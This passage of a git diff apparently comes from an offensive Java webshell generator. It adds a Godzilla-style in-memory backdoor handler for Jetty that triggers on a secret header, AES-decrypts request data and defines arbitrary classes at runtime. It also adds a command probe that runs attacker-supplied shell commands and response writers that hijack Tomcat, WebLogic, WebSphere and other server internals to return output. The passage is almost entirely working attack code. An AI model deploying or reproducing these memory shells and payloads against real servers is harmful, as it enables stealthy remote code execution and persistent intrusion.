e.printStackTrace(); + writer.write(getErrorMessage(e)); + } + invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class) obj).getName() : obj.getClass().getName()) + "." + methodName, e); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + try { + Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); + return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); + return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) throws Exception { + try { + Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } + } + + public byte[] x(byte[] s, boolean m) throws Exception { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java index bef4170e..146d88c9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java @@ -1,51 +1,42 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; +import org.eclipse.jetty.server.Handler; +import org.eclipse.jetty.server.Request; +import org.eclipse.jetty.server.Response; +import org.eclipse.jetty.util.Callback; + import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; -import java.io.ByteArrayOutputStream; -import java.io.PrintStream; -import java.io.PrintWriter; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.nio.ByteBuffer; +import java.nio.charset.Charset; + +import static java.nio.charset.StandardCharsets.UTF_8; /** * @author ReaJason + * @since 2025/11/29 */ -public class GodzillaJettyHandler extends ClassLoader { +public class GodzillaJettyHandler { private static String key; private static String pass; private static String md5; private static String headerName; private static String headerValue; private static Class payload; + private Handler nextHandler; public GodzillaJettyHandler() { } - public GodzillaJettyHandler(ClassLoader z) { - super(z); - } - - @Override - public boolean equals(Object obj) { - Object[] args = ((Object[]) obj); - Object baseRequest = null; - Object request = null; - Object response = null; - if (args.length == 4) { - Object arg4 = args[3]; - baseRequest = args[1]; - if (arg4 instanceof Integer) { - // jetty6 - request = args[1]; - response = args[2]; - } else { - request = args[2]; - response = args[3]; - } - } else { - // ee10 - request = args[0]; - response = args[1]; - } + public boolean handle(Object request, Object response) { try { String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); if (value != null && value.contains(headerValue)) { @@ -55,7 +46,7 @@ public boolean equals(Object obj) { byte[] data = base64Decode(parameter); data = this.x(data, false); if (payload == null) { - payload = new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + payload = reflectionDefineClass(data); } else { ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); Object f = payload.newInstance(); @@ -67,9 +58,6 @@ public boolean equals(Object obj) { writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(md5.substring(16)); } - if (baseRequest != null) { - baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); - } } catch (Throwable e) { e.printStackTrace(); writer.write(getErrorMessage(e)); @@ -82,6 +70,127 @@ public boolean equals(Object obj) { return false; } + // jetty12 + public boolean handle(Request request, Response response, Callback callback) throws Exception { + try { + Object headers = invokeMethod(request, "getHeaders"); + String value = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{headerName}); + if (value != null && value.contains(headerValue)) { + StringWriter writer = new StringWriter(); + try { + Object parameters = Request.class.getMethod("getParameters", Request.class).invoke(null, request); + String parameter = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{pass}); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = reflectionDefineClass(data); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); + } + invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200}); + ByteBuffer content = UTF_8.encode(writer.toString()); + invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback}); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return nextHandler.handle(request, response, callback); + } + + // jetty6 + public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException { + if (handle(request, response)) { + invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; + } + if (nextHandler != null) { + nextHandler.handle(target, request, response, dispatch); + } + } + + // jetty7+ + public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { + if (handle(request, response)) { + invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true}); + return; + } + if (nextHandler != null) { + nextHandler.handle(target, baseRequest, request, response); + } + } + + public Class reflectionDefineClass(byte[] classBytes) throws Exception { + Object unsafe = null; + Object rawModule = null; + long offset = 48; + Method getAndSetObjectM = null; + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + unsafe = unsafeField.get(null); + rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); + Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); + getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module); + } catch (Throwable ignored) { + } + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defMethod.setAccessible(true); + Class clazz = (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + if (getAndSetObjectM != null) { + getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule); + } + return clazz; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + return invokeMethod(obj, methodName, null, null); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class) obj).getName() : obj.getClass().getName()) + "." + methodName, e); + } + } + @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { try { @@ -124,4 +233,4 @@ private String getErrorMessage(Throwable throwable) { } } } -} \ No newline at end of file +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeShellGenerator.java index c3069988..8847d5e5 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/ProbeShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeShellGenerator.java @@ -15,6 +15,9 @@ public static ProbeShellResult generate(ProbeConfig probeConfig, ProbeContentCon if (StringUtils.isBlank(probeConfig.getShellClassName())) { probeConfig.setShellClassName(CommonUtil.generateInjectorClassName()); } + if (probeConfig.isLambdaSuffix()) { + probeConfig.setShellClassName(CommonUtil.appendLambdaSuffix(probeConfig.getShellClassName())); + } byte[] bytes = probeConfig.getProbeMethod().generateBytes(probeConfig, contentConfig); return ProbeShellResult.builder() .shellClassName(probeConfig.getShellClassName()) diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java index 7d817d6a..1b39c9b5 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java @@ -53,6 +53,12 @@ public class ProbeConfig { @Builder.Default private boolean staticInitialize = false; + /** + * 追加 Lambda 类名后缀 + */ + @Builder.Default + private boolean lambdaSuffix = false; + public boolean isDebugOff() { return !debug; } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java index f3e59f55..155c61fc 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java @@ -1,8 +1,11 @@ package com.reajason.javaweb.probe.config; +import com.reajason.javaweb.utils.CommonUtil; +import lombok.Builder; import lombok.Getter; import lombok.ToString; import lombok.experimental.SuperBuilder; +import org.apache.commons.lang3.StringUtils; /** * @author ReaJason @@ -13,5 +16,31 @@ @ToString public class ResponseBodyConfig extends ProbeContentConfig { private String server; - private String reqParamName; + + /** + * 获取参数的请求头或请求参数名称 + */ + @Builder.Default + private String reqParamName = CommonUtil.getRandomString(8); + + /** + * 内置执行类加载的字节码 + */ + private String base64Bytes; + + /** + * 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符 + */ + private String commandTemplate; + + public static abstract class ResponseBodyConfigBuilder> + extends ProbeContentConfig.ProbeContentConfigBuilder { + public B reqParamName(String reqParamName) { + if (StringUtils.isNotBlank(reqParamName)) { + reqParamName$value = reqParamName; + reqParamName$set = true; + } + return self(); + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java index 0e94fa67..f3369294 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java @@ -4,6 +4,7 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.probe.ProbeContent; import com.reajason.javaweb.probe.config.ProbeConfig; import com.reajason.javaweb.probe.config.ResponseBodyConfig; import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator; @@ -15,10 +16,15 @@ import net.bytebuddy.ByteBuddy; import net.bytebuddy.asm.Advice; import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.FixedValue; +import org.apache.commons.lang3.StringUtils; +import org.eclipse.jetty.server.Request; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; +import java.nio.charset.Charset; +import static java.nio.charset.StandardCharsets.UTF_8; import static net.bytebuddy.matcher.ElementMatchers.named; /** @@ -34,16 +40,28 @@ public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeCo protected DynamicType.Builder build(ByteBuddy buddy) { String name = probeContentConfig.getReqParamName(); Class getDataFromReqInterceptor = getDataFromReqInterceptor.class; + if (Server.Jetty.equals(probeContentConfig.getServer())) { + getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class; + } Class writerClass = getWriterClass(); Class runnerClass = getRunnerClass(); - return buddy.redefine(writerClass) + DynamicType.Builder builder = buddy.redefine(writerClass) .name(probeConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion())) - .visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq", - probeConfig.getShellClassName(), ShellCommonUtil.class.getName())) - .visit(Advice.withCustomMapping().bind(NameAnnotation.class, name) - .to(getDataFromReqInterceptor).on(named("getDataFromReq"))) - .visit(Advice.to(runnerClass).on(named("run"))); + .visit(Advice.withCustomMapping() + .bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate()) + .to(runnerClass) + .on(named("run"))); + String base64Bytes = probeContentConfig.getBase64Bytes(); + if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent()) && StringUtils.isNotBlank(base64Bytes)) { + builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes)); + } else { + builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq", + probeConfig.getShellClassName(), ShellCommonUtil.class.getName())) + .visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name) + .to(getDataFromReqInterceptor).on(named("getDataFromReq"))); + } + return builder; } private Class getRunnerClass() { @@ -92,7 +110,7 @@ private Class getWriterClass() { static class getDataFromReqInterceptor { @Advice.OnMethodExit public static void enter(@Advice.Argument(value = 0) Object request, - @NameAnnotation String name, + @ValueAnnotation String name, @Advice.Return(readOnly = false) String ret) throws Exception { try { String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name}); @@ -106,8 +124,31 @@ public static void enter(@Advice.Argument(value = 0) Object request, } } + static class getDataFromReqJettyInterceptor { + @Advice.OnMethodExit + public static void enter(@Advice.Argument(value = 0) Object request, + @ValueAnnotation String name, + @Advice.Return(readOnly = false) String ret) throws Exception { + try { + String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name}); + if (p == null || p.isEmpty()) { + p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name}); + } + ret = p; + } catch (Exception e) { + Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8); + String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name}); + if (p == null || p.isEmpty()) { + Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null); + p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name}); + } + ret = p; + } + } + } + @Retention(RetentionPolicy.RUNTIME) - public @interface NameAnnotation { + public @interface ValueAnnotation { } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java index 020041f5..cf189fea 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java @@ -3,9 +3,10 @@ import lombok.SneakyThrows; import net.bytebuddy.asm.Advice; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; import java.lang.reflect.Method; -import java.net.URL; -import java.net.URLClassLoader; +import java.util.zip.GZIPInputStream; /** * @author ReaJason @@ -24,7 +25,8 @@ public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOn Class decoderClass; byte[] classBytes; String base64 = data; - if (!data.startsWith("yv66vgAAAD")) { + boolean gzip = data.startsWith("H4s"); + if (!gzip && !data.startsWith("yv66vgAAAD")) { base64 = "yv66vgAAAD" + data; } try { @@ -35,9 +37,27 @@ public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOn decoderClass = Class.forName("sun.misc.BASE64Decoder"); classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64); } + if (gzip) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(classBytes)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + classBytes = out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}), classBytes, 0, classBytes.length); + Class clazz = (Class) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}, Thread.currentThread().getContextClassLoader()), classBytes, 0, classBytes.length); return ret = clazz.newInstance().toString(); } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/CommandProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/CommandProbe.java index f6d3e7bc..9de0c033 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/CommandProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/CommandProbe.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.probe.payload; +import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator; import lombok.SneakyThrows; import net.bytebuddy.asm.Advice; @@ -17,15 +18,33 @@ public CommandProbe(String command) { } @Advice.OnMethodExit - public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception { - String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data}; - Process process = new ProcessBuilder(cmd).redirectErrorStream(true).start(); + public static String exit(@Advice.Argument(0) String data, + @Advice.Return(readOnly = false) String ret, + @ResponseBodyGenerator.ValueAnnotation String template + ) throws Exception { + String[] cmdarray = null; + String t = template; + if (t == null) { + cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data}; + } else { + if (t.contains("\"{command}\"")) { + String[] split = t.split("\\s+"); + for (int i = 0; i < split.length; i++) { + split[i] = split[i].replace("\"{command}\"", data); + } + cmdarray = split; + } else { + String cmdline = t.replace("{command}", data); + cmdarray = cmdline.split("\\s+"); + } + } + Process process = new ProcessBuilder(cmdarray).redirectErrorStream(true).start(); return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next(); } @Override @SneakyThrows public String toString() { - return CommandProbe.exit(command, super.toString()); + return CommandProbe.exit(command, super.toString(), null); } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java index f4c5e418..0b172bbb 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java @@ -10,7 +10,13 @@ * @since 2025/8/10 */ public class ApusicWriter { + + private static boolean ok = false; + public ApusicWriter() { + if (ok) { + return; + } try { Object table = getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table"); for (int i = 0; i < Array.getLength(table); i++) { @@ -41,6 +47,8 @@ public ApusicWriter() { } } catch (Throwable e) { e.printStackTrace(); + } finally { + ok = true; } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java index 8b7f3ce1..fdefa862 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java @@ -11,7 +11,12 @@ */ public class GlassFishWriter { + private static boolean ok = false; + public GlassFishWriter() { + if (ok) { + return; + } try { try { // GlassFish3 @@ -54,6 +59,8 @@ public GlassFishWriter() { } } catch (Throwable e) { e.printStackTrace(); + } finally { + ok = true; } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java index 305a387d..ac4b480d 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java @@ -1,19 +1,30 @@ package com.reajason.javaweb.probe.payload.response; +import org.eclipse.jetty.util.Callback; + import java.io.PrintWriter; +import java.io.StringWriter; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; +import java.nio.ByteBuffer; + +import static java.nio.charset.StandardCharsets.UTF_8; /** * @author ReaJason * @since 2025/8/5 */ public class JettyWriter { + + private static boolean ok = false; + public JettyWriter() { + if (ok) { + return; + } try { Thread thread = Thread.currentThread(); - System.out.println(thread); Object threadLocals = getFieldValue(thread, "threadLocals"); Object table = getFieldValue(threadLocals, "table"); for (int i = 0; i < Array.getLength(table); i++) { @@ -36,26 +47,34 @@ public JettyWriter() { if (request == null) { continue; } - // 在 Jetty12 ee8 ~ ee10 环境下 - // request 对象为 org.eclipse.jetty.server.internal.HttpChannelState$ChannelRequest - // 非 ServletRequest 实现,考虑到场景可能比较少,适配代码较多,因此下面暂未适配 String data = getDataFromReq(request); if (data != null && !data.isEmpty()) { - PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + StringWriter sw = new StringWriter(); + PrintWriter writer = new PrintWriter(sw); try { writer.write(run(data)); } catch (Throwable e) { e.printStackTrace(); e.printStackTrace(writer); } - writer.flush(); - writer.close(); + String result = sw.toString(); + System.out.println("result: " + result); + try { + PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null); + resWriter.write(result); + } catch (Exception e) { + invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200}); + ByteBuffer content = UTF_8.encode(result); + invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null}); + } return; } } } } catch (Throwable e) { e.printStackTrace(); + } finally { + ok = true; } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java index 40b84b20..6e74836a 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java @@ -9,7 +9,13 @@ * @since 2025/8/8 */ public class ResinWriter { + + private static boolean ok = false; + public ResinWriter() { + if (ok) { + return; + } try { ClassLoader loader = Thread.currentThread().getContextClassLoader(); Class invocationClazz = loader.loadClass("com.caucho.server.dispatch.ServletInvocation"); @@ -29,6 +35,8 @@ public ResinWriter() { invokeMethod(response, "close", null, null); } catch (Throwable e) { e.printStackTrace(); + } finally { + ok = true; } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java index d3a593fa..3af3297f 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java @@ -10,7 +10,12 @@ */ public class SpringWebMvcWriter { + private static boolean ok = false; + public SpringWebMvcWriter() { + if (ok) { + return; + } try { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes", null, null); @@ -31,6 +36,8 @@ public SpringWebMvcWriter() { } catch (Throwable e) { e.printStackTrace(); + } finally { + ok = true; } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java index aa3980c8..aa430359 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java @@ -7,7 +7,13 @@ import java.util.Set; public class TomcatWriter { + + private static boolean ok = false; + public TomcatWriter() { + if (ok) { + return; + } try { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { @@ -53,6 +59,10 @@ public TomcatWriter() { } List processors = (List) getFieldValue(requestGroupInfo, "processors"); for (Object processor : processors) { + String workerThreadName = (String) getFieldValue(processor, "workerThreadName"); + if (!Thread.currentThread().getName().equals(workerThreadName)) { + continue; + } // org.apache.coyote.Request Object coyoteRequest = getFieldValue(processor, "req"); // org.apache.catalina.connector.Request @@ -75,6 +85,8 @@ public TomcatWriter() { } } catch (Throwable e) { e.printStackTrace(); + } finally { + ok = true; } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java index 610f41ec..8323910d 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java @@ -7,7 +7,13 @@ import java.util.Set; public class TongWebWriter { + + private static boolean ok = false; + public TongWebWriter() { + if (ok) { + return; + } try { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { @@ -23,6 +29,10 @@ public TongWebWriter() { Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global"); List processors = (List) getFieldValue(requestGroupInfo, "processors"); for (Object processor : processors) { + String workerThreadName = (String) getFieldValue(processor, "workerThreadName"); + if (!Thread.currentThread().getName().equals(workerThreadName)) { + continue; + } Object coyoteRequest = getFieldValue(processor, "req"); if (tryWriteRes(coyoteRequest)) { return; @@ -50,6 +60,8 @@ public TongWebWriter() { } } catch (Throwable e) { e.printStackTrace(); + } finally { + ok = true; } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java index 63ca8f68..0a5b12ac 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java @@ -10,7 +10,13 @@ * @since 2025/8/8 */ public class UndertowWriter { + + private static boolean ok = false; + public UndertowWriter() { + if (ok) { + return; + } try { Thread thread = Thread.currentThread(); Object threadLocals = getFieldValue(thread, "threadLocals"); @@ -38,6 +44,8 @@ public UndertowWriter() { } } catch (Throwable e) { e.printStackTrace(); + } finally { + ok = true; } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java index 71a3c3ba..7139202b 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java @@ -9,7 +9,13 @@ * @since 2025/8/10 */ public class WebLogicWriter { + + private static boolean ok = false; + public WebLogicWriter() { + if (ok) { + return; + } try { Object workEntry = getFieldValue(Thread.currentThread(), "workEntry"); Object request = null; @@ -45,6 +51,8 @@ public WebLogicWriter() { } } catch (Throwable e) { e.printStackTrace(); + } finally { + ok = true; } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java index fb733df2..796284e3 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java @@ -12,7 +12,12 @@ */ public class WebSphereWriter { + private static boolean ok = false; + public WebSphereWriter() { + if (ok) { + return; + } try { Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); for (Object wsThreadLocal : wsThreadLocals) { @@ -42,6 +47,8 @@ public WebSphereWriter() { } } catch (Throwable e) { e.printStackTrace(); + } finally { + ok = true; } } diff --git 